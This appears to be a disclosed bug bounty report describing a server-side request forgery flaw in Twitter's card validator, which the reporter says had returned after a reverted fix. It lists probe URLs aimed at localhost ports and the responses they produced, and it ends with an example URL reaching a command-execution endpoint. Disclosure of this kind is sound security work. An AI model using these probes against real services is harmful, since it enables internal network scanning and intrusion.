X / xAI · Report #178184
SSRF in https://cards-dev.twitter.com/validator
How it was found
Hello,
After my previous report (2 years ago) https://hackerone.com/reports/30860 you fixed the vulnerability, but now it looks like this fix was reverted and the same problem exists again.
Test scenario: Open https://cards-dev.twitter.com/validator
-
Closed port on localhost http://0.0.0.0:123 -> ERROR: Fetching the page failed because other errors.
-
Open port but not HTPP http://0.0.0.0:22 -> ERROR: Failed to fetch page due to: ChannelClosed
-
Open HTPP port http://0.0.0.0:4680 -> INFO: Page fetched successfully INFO: 2 metatags were found WARN: Not whitelisted
-
Existing folder http://0.0.0.0:4680/system/ -> INFO: Page fetched successfully INFO: 2 metatags were found WARN: Not whitelisted
-
None existis folder http://0.0.0.0:4680/system/ -> http://0.0.0.0:4680/test/ INFO: Page fetched successfully WARN: No metatags found
Disaster scenario: Find open HTTP service running on local infrastructure with ability to execute commands.
For example: http://0.0.0.0:4680/system/command.php?command=[ROOT_COMMAND]